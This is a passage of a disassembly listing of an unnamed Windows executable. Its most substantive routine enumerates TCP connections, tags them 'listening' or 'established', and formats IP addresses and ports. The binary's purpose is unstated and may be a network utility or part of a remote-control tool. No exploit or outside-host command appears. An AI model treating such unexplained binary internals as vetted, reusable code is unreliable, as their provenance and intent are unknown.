sub_401D98 mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_4189B0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4189E0 proc near ; CODE XREF: sub_4010B9j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401311 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401F69 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40155A pop esi add esp, 0Ch retn sub_4189E0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418A30 proc near ; CODE XREF: sub_4020A4j push esi mov esi, ecx call sub_401532 mov eax, esi pop esi retn sub_418A30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418A50 proc near ; CODE XREF: sub_402234j mov eax, [ecx] push eax call sub_401172 add esp, 4 retn sub_418A50 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418A70 proc near ; CODE XREF: sub_401361j push esi mov esi, ecx mov eax, [esi] push eax call sub_4015DC mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_418A70 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418AA0 proc near ; CODE XREF: sub_401703j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_40223E neg al sbb eax, eax inc eax retn 4 sub_418AA0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418AD0 proc near ; CODE XREF: sub_401A32j push esi mov esi, ecx mov eax, [esi+15h] mov dword ptr [esi], offset off_43F05C test eax, eax jle short loc_418AE7 push eax call near ptr 71AB9639h nop loc_418AE7: ; CODE XREF: sub_418AD0+Ej mov ecx, esi call sub_40204F pop esi retn sub_418AD0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418B00 proc near ; CODE XREF: ___:00401267j sub_4019CEj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401A32 test [esp+4+arg_0], 1 jz short loc_418B18 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_418B18: ; CODE XREF: sub_418B00+Dj mov eax, esi pop esi retn 4 sub_418B00 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418B30 proc near ; CODE XREF: sub_4017ADj push esi mov esi, ecx mov eax, [esi+11h] mov dword ptr [esi], offset off_43F068 test eax, eax jle short loc_418B47 push eax nop call near ptr 71AB9639h loc_418B47: ; CODE XREF: sub_418B30+Ej mov ecx, esi call sub_40204F pop esi retn sub_418B30 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_418B60: ; CODE XREF: ___:00401631j ; ___:loc_401CADj push esi mov esi, ecx call sub_4017AD test byte ptr [esp+8], 1 jz short loc_418B78 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_418B78: ; CODE XREF: ___:00418B6Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418B90 proc near ; CODE XREF: sub_401771j mov dword ptr [ecx], offset off_43F0A0 jmp sub_40204F sub_418B90 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_418BB0: ; CODE XREF: ___:loc_401929j ; ___:004021ADj push esi mov esi, ecx call sub_401771 test byte ptr [esp+8], 1 jz short loc_418BC8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_418BC8: ; CODE XREF: ___:00418BBDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418BE0 proc near ; CODE XREF: sub_401889j mov dword ptr [ecx], offset off_43F0AC add ecx, 4 jmp sub_401023 sub_418BE0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418C00 proc near ; CODE XREF: sub_401438j var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_40184D test al, al jz short loc_418C5A loc_418C18: ; CODE XREF: sub_418C00+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_40116D mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40123F ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_40184D test al, al jnz short loc_418C18 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_418C5A: ; CODE XREF: sub_418C00+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_418C00 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418C90 proc near ; CODE XREF: sub_402103j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401D6B sub_418C90 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418CB0 proc near ; CODE XREF: sub_40155Aj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401703 test al, al jz short loc_418D0A loc_418CC8: ; CODE XREF: sub_418CB0+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4012A3 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40216C ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401703 test al, al jnz short loc_418CC8 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_418D0A: ; CODE XREF: sub_418CB0+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_418CB0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418D40 proc near ; CODE XREF: sub_40139Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_401C67 sub_418D40 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_418D55 mov edi, esi loc_418D55: ; CODE XREF: ___:00418D51j push esi call sub_4015DC mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_418D6A mov edi, esi loc_418D6A: ; CODE XREF: ___:00418D66j push esi call sub_401B31 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418D90 proc near ; CODE XREF: sub_40207Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4013FC sub_418D90 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418DB0 proc near ; CODE XREF: sub_4015DCj arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_418DB0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418DD0 proc near ; CODE XREF: sub_401172j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_418DD0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418DF0 proc near ; CODE XREF: sub_401532j mov eax, ecx retn sub_418DF0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418E10 proc near ; CODE XREF: sub_401D98j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_4020FE mov eax, esi pop esi retn 4 sub_418E10 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418E40 proc near ; CODE XREF: sub_40223Ej arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_418E40 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418E70 proc near ; CODE XREF: sub_40123Fj var_4 = byte ptr -4 arg_4 = byte ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_40116D mov ecx, eax call sub_401C9E mov esi, eax push esi call sub_401A96 push esi mov ebx, eax call sub_401C6C mov ecx, [eax] push ecx call sub_401A96 mov edx, [ebx] push esi mov [eax], edx call sub_401C6C push esi mov ebx, eax call sub_401A96 mov eax, [eax] push eax call sub_401C6C mov ecx, [ebx] push esi mov [eax], ecx call sub_401208 add esp, 1Ch mov ecx, edi push eax call sub_40176C push esi mov ecx, edi call sub_402103 sub_418E70 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418F30 proc near ; CODE XREF: sub_401D6Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_418F30 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418F50 proc near ; CODE XREF: sub_40116Dj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_401F28 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_418F50 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418F80 proc near ; CODE XREF: sub_40216Cj var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4012A3 mov ecx, eax call sub_401EEC mov esi, eax push esi call sub_4015DC push esi mov ebx, eax call sub_401B31 mov ecx, [eax] push ecx call sub_4015DC mov edx, [ebx] push esi mov [eax], edx call sub_401B31 push esi mov ebx, eax call sub_4015DC mov eax, [eax] push eax call sub_401B31 mov ecx, [ebx] push esi mov [eax], ecx call sub_401172 add esp, 1Ch mov ecx, edi push eax call sub_4018D4 push esi mov ecx, edi call sub_40207C sub_418F80 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419040 proc near ; CODE XREF: sub_401B31j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_419040 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_419060 proc near ; CODE XREF: sub_401C67j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_419060 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_419090 proc near ; CODE XREF: sub_4013FCj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_419090 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4190B0 proc near ; CODE XREF: sub_4020FEj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4190B0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4190D0 proc near ; CODE XREF: sub_4012A3j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_401361 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4190D0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419100 proc near ; CODE XREF: sub_40176Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_8 pop ecx retn 4 sub_419100 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419120 proc near ; CODE XREF: sub_4018D4j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_4 pop ecx retn 4 sub_419120 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419140 proc near ; CODE XREF: sub_401EECj mov eax, [ecx] retn sub_419140 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4191A0 proc near ; CODE XREF: sub_402121j var_14 = dword ptr -14h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4191A0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_14], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 push 9 mov [esp+1Ch+var_4], 0 mov dword ptr [esi], offset off_43F0AC call sub_437AEA sub_4191A0 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+8], eax test eax, eax mov byte ptr [esp+14h], 1 jz short loc_41920D mov ecx, eax call sub_401F2D ; --------------------------------------------------------------------------- mov [esi+32h], eax mov eax, esi pop esi mov ecx, [esp+8] mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- loc_41920D: ; CODE XREF: ___:004191EFj mov ecx, [esp+0Ch] xor eax, eax mov [esi+32h], eax mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_419260 proc near ; CODE XREF: sub_401974j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_419260 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 14h push 1 push 14h push 13h push 14h push 5 lea eax, [esp+44h+var_24] push 0Eh mov esi, ecx push eax call sub_4019C4 add esp, 24h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_40168B add esi, 4 push eax push esi mov ecx, offset dword_449118 call sub_40159B sub_419260 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419300 proc near ; CODE XREF: sub_40111Dj var_2A4 = dword ptr -2A4h var_2A0 = dword ptr -2A0h var_29C = dword ptr -29Ch var_298 = dword ptr -298h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = byte ptr -28Ch var_274 = byte ptr -274h var_25C = byte ptr -25Ch var_23C = byte ptr -23Ch var_224 = byte ptr -224h var_199 = byte ptr -199h var_198 = byte ptr -198h var_119 = byte ptr -119h var_118 = byte ptr -118h var_99 = byte ptr -99h var_98 = byte ptr -98h var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_419300 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 298h push ebx mov ebx, ecx push esi mov [esp+2ACh+var_2A4], ebx lea ecx, [ebx+4] call sub_4017EE mov esi, [esp+2ACh+arg_0] push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_4196B8 push ebp push edi mov edi, 1 push offset asc_444600 ; " " lea eax, [esp+2B8h+var_23C] push edi push eax mov ecx, esi call sub_4016B8 xor ebp, ebp mov ecx, eax mov [esp+2B4h+var_4], ebp call sub_40168B push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+2B4h+var_23C] mov [ebx+36h], eax mov [esp+2B4h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, esi call sub_4017EE push eax lea ecx, [esp+2B8h+var_274] call sub_401870 push offset dword_444D68 lea ecx, [esp+2B8h+var_274] mov [esp+2B8h+var_4], edi mov [esp+2B8h+var_2A0], ebp call sub_4013ED test eax, eax jz short loc_4193C5 mov [esp+2B4h+var_2A0], 2 jmp short loc_4193DB ; --------------------------------------------------------------------------- loc_4193C5: ; CODE XREF: sub_419300+B9j push offset dword_444D64 lea ecx, [esp+2B8h+var_274] call sub_4013ED test eax, eax jz short loc_4193DB mov [esp+2B4h+var_2A0], edi loc_4193DB: ; CODE XREF: sub_419300+C3j ; sub_419300+D5j mov ecx, [ebx+32h] mov edi, offset dword_444D58 xor eax, eax mov edx, [ecx] or ecx, 0FFFFFFFFh add edx, 2 repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [ebx+32h] mov edx, [ecx] mov byte ptr [edx], 1 mov eax, [ebx+32h] mov [esp+2B4h+var_119], 0 mov [esp+2B4h+var_99], 0 mov [esp+2B4h+var_D], 0 mov [esp+2B4h+var_199], 0 mov eax, [eax] cmp byte ptr [eax], 0 jnz short loc_41946A mov esi, dword_511AA8 add eax, 2 push offset dword_444D58 push eax call esi add esp, 8 test eax, eax jz short loc_41946A mov ecx, [ebx+32h] push offset off_444D54 mov edx, [ecx] add edx, 2 push edx call esi add esp, 8 test eax, eax jnz loc_41969E loc_41946A: ; CODE XREF: sub_419300+135j ; sub_419300+14Dj push 0C00h mov [esp+2B8h+var_294], 0C00h nop call near ptr 77C2C407h add esp, 4 mov esi, eax lea eax, [esp+2B4h+var_294] mov [esp+2B4h+var_29C], esi push 1 push eax push esi mov [esi], ebp call sub_437F50 ; --------------------------------------------------------------------------- mov eax, [esi] mov [esp+2B4h+var_298], ebp cmp eax, ebp jle loc_419694 lea ebp, [esi+14h] loc_4194A6: ; CODE XREF: sub_419300+38Ej cmp dword ptr [ebp-10h], 2 jnz short loc_4194BA mov ecx, [ebx+32h] mov edx, [ecx] cmp byte ptr [edx], 0 jz loc_41967E loc_4194BA: ; CODE XREF: sub_419300+1AAj mov ax, [ebp-8] mov esi, dword_511C5C push eax call esi mov cx, [ebp+0] mov [esp+2B4h+var_290], eax push ecx call esi mov esi, [esp+2B4h+var_2A4] mov ebx, eax mov eax, [ebp-0Ch] push 1 lea edx, [esp+2B8h+var_198] push 7Fh push edx push eax mov ecx, esi call sub_40147E mov edx, [ebp-4] push 0 lea ecx, [esp+2B8h+var_118] push 7Fh push ecx push edx mov ecx, esi call sub_40147E mov eax, [ebp-10h] sub eax, 2 jz short loc_41951E sub eax, 3 jnz short loc_419544 lea edx, [esp+2B4h+var_25C] mov edi, offset aEstablished ; "established" jmp short loc_419527 ; --------------------------------------------------------------------------- loc_41951E: ; CODE XREF: sub_419300+20Cj lea edx, [esp+2B4h+var_25C] mov edi, offset aListening ; "listening" loc_419527: ; CODE XREF: sub_419300+21Cj or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_419544: ; CODE XREF: sub_419300+211j mov ecx, 23h xor eax, eax lea edi, [esp+2B4h+var_98] rep stosd mov ecx, 23h lea edi, [esp+2B4h+var_224] rep stosd cmp dword ptr [ebp-10h], 2 jnz short loc_41956A xor ebx, ebx loc_41956A: ; CODE XREF: sub_419300+266j mov esi, [esp+2B4h+var_290] lea ecx, [esp+2B4h+var_198] and esi, 0FFFFh lea edx, [esp+2B4h+var_98] push esi push ecx push offset aSD_1 ; "%s:%d" push 8Bh push edx nop call near ptr 77C3FA76h mov edi, ebx lea eax, [esp+2C8h+var_118] and edi, 0FFFFh lea ecx, [esp+2C8h+var_224] push edi push eax push offset aSD_1 ; "%s:%d" push 8Bh push ecx nop call near ptr 77C3FA76h add esp, 28h lea ecx, [esp+2B4h+var_28C] call sub_40142E mov eax, [esp+2B4h+var_2A0] mov byte ptr [esp+2B4h+var_4], 2 test bx, bx jnz short loc_419600 cmp eax, 1 jz loc_419665 mov edx, [esp+2B4h+var_2A4] mov eax, [edx+36h] test eax, eax jz short loc_4195F3 cmp eax, esi jnz short loc_419665 loc_4195F3: ; CODE XREF: sub_419300+2EDj lea eax, [esp+2B4h+var_25C] push esi push eax push offset aSD_0 ; "%s: %d" jmp short loc_419626 ; --------------------------------------------------------------------------- loc_419600: ; CODE XREF: sub_419300+2D9j cmp eax, 2 jz short loc_419665 mov ecx, [esp+2B4h+var_2A4] mov eax, [ecx+36h] test eax, eax jz short loc_419614 cmp eax, edi jnz short loc_419665 loc_419614: ; CODE XREF: sub_419300+30Ej lea edx, [esp+2B4h+var_224] lea eax, [esp+2B4h+var_25C] push edx push eax push offset aSS_6 ; "%s: %s" loc_419626: ; CODE XREF: sub_419300+2FEj lea ecx, [esp+2C0h+var_28C] push ecx call sub_40102D mov esi, [esp+2C4h+arg_0] add esp, 10h lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [esp+2B8h+var_28C] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D8075 call sub_401118 loc_419665: ; CODE XREF: sub_419300+2DEj ; sub_419300+2F1j ... lea ecx, [esp+2B4h+var_28C] mov byte ptr [esp+2B4h+var_4], 1 call sub_401226 mov esi, [esp+2B4h+var_29C] mov ebx, [esp+2B4h+var_2A4] loc_41967E: ; CODE XREF: sub_419300+1B4j mov eax, [esp+2B4h+var_298] mov ecx, [esi] inc eax add ebp, 14h cmp eax, ecx mov [esp+2B4h+var_298], eax jl loc_4194A6 loc_419694: ; CODE XREF: sub_419300+19Dj push esi nop call near ptr 77C2C21Bh add esp, 4 loc_41969E: ; CODE XREF: sub_419300+164j lea ecx, [esp+2B4h+var_274] mov [esp+2B4h+var_4], 0FFFFFFFFh call sub_401226 pop edi mov al, 1 pop ebp jmp short loc_4196BA ; --------------------------------------------------------------------------- loc_4196B8: ; CODE XREF: sub_419300+3Dj mov al, 1 loc_4196BA: ; CODE XREF: sub_419300+3B6j mov ecx, [esp+2ACh+var_C] pop esi pop ebx mov large fs:0, ecx add esp, 2A4h retn 4 sub_419300 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4197E0 proc near ; CODE XREF: sub_40147Ej var_20 = byte ptr -20h arg_0 = byte ptr 4 arg_3 = dword ptr 7 arg_8 = dword ptr 0Ch arg_C = byte ptr 10h mov eax, [esp+arg_3] sub esp, 20h mov edx, [esp+25h] and eax, 0FFh push ebx push ebp push esi mov esi, ecx mov ecx, [esp+32h] mov ebx, [esp+2Ch+arg_8] mov ebp, [esp+2Ch+arg_3+1] push eax mov eax, [esp+34h] and ecx, 0FFh and edx, 0FFh push ecx and eax, 0FFh push edx push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push ebx push ebp call near ptr 77C3FA76h nop mov ecx, [esi+32h] add esp, 1Ch mov al, [ecx+4] test al, al jnz short loc_4198A0 mov al, [esp+2Ch+arg_C] test al, al jnz short loc_41986E mov eax, [esp+30h] test eax, eax jz short loc_41986E push 2 lea edx, [esp+30h+arg_0] push 4 push edx nop call near ptr 71ABE479h test eax, eax jz short loc_4198A0 mov eax, [eax] push ebx push eax push ebp nop call near ptr 77C47A90h add esp, 0Ch pop esi pop ebp pop ebx add esp, 20h retn 10h ; --------------------------------------------------------------------------- loc_41986E: ; CODE XREF: sub_4197E0+5Aj ; sub_4197E0+62j push edi mov ecx, 7 xor eax, eax lea edi, [esp+30h+var_20] rep stosd lea ecx, [esp+30h+var_20] push 1Dh push ecx stosw nop call near ptr 71AB50C8h test eax, eax pop edi jnz short loc_4198A0 lea edx, [esp+2Ch+var_20] push ebx push edx push ebp call near ptr 77C47A90h nop add esp, 0Ch loc_4198A0: ; CODE XREF: sub_4197E0+52j ; sub_4197E0+75j ... pop esi pop ebp pop ebx add esp, 20h retn 10h sub_4197E0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4198F0 proc near ; CODE XREF: sub_401F2Dj push 0FFFFFFFFh push offset SEH_4198F0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx push 14h call sub_437AEA sub_4198F0 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+4], eax test eax, eax mov dword ptr [esp+10h], 0 jz short loc_41993E mov ecx, eax call sub_4015C3 mov [esi], eax mov eax, esi pop esi mov ecx, [esp+4] mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- loc_41993E: ; CODE XREF: ___:00419921j mov ecx, [esp+8] xor eax, eax mov [esi], eax mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419980 proc near ; CODE XREF: sub_4015C3j mov eax, ecx retn sub_419980 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4199A0 proc near ; CODE XREF: sub_401F0Aj nop call near ptr 27E0C7Ah push eax nop call near ptr 77C371BCh pop ecx retn sub_4199A0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4199C0 proc near ; CODE XREF: sub_4021C6j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push esi nop call near ptr 77C371D3h mov esi, [esp+8+arg_0] mov [esp+8+var_4], eax mov eax, [esp+8+arg_4] fild [esp+8+var_4] sub eax, esi mov [esp+8+arg_4], eax fimul [esp+8+arg_4] fmul dbl_43F0B0 call sub_437BDA sub_4199C0 endp ; --------------------------------------------------------------------------- sub esi, eax mov eax, esi pop esi pop ecx retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_419A10: ; CODE XREF: ___:00401C99j nop call near ptr 77C371D3h cdq idiv dword ptr [esp+4] mov eax, edx retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- locret_419A30: ; CODE XREF: ___:00401528j retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419A50 proc near ; CODE XREF: sub_401FE1j xor al, al retn 4 sub_419A50 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419A70 proc near ; CODE XREF: sub_40152Dj arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_C] mov ecx, [esp+arg_4] mov edx, [esp+arg_8] cmp eax, 1 setnl al mov byte ptr [esp+arg_C], al push ecx mov eax, [esp+4+arg_C] push edx push eax push 0 mov ecx, offset byte_4D8075 call sub_401118 retn sub_419A70 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h 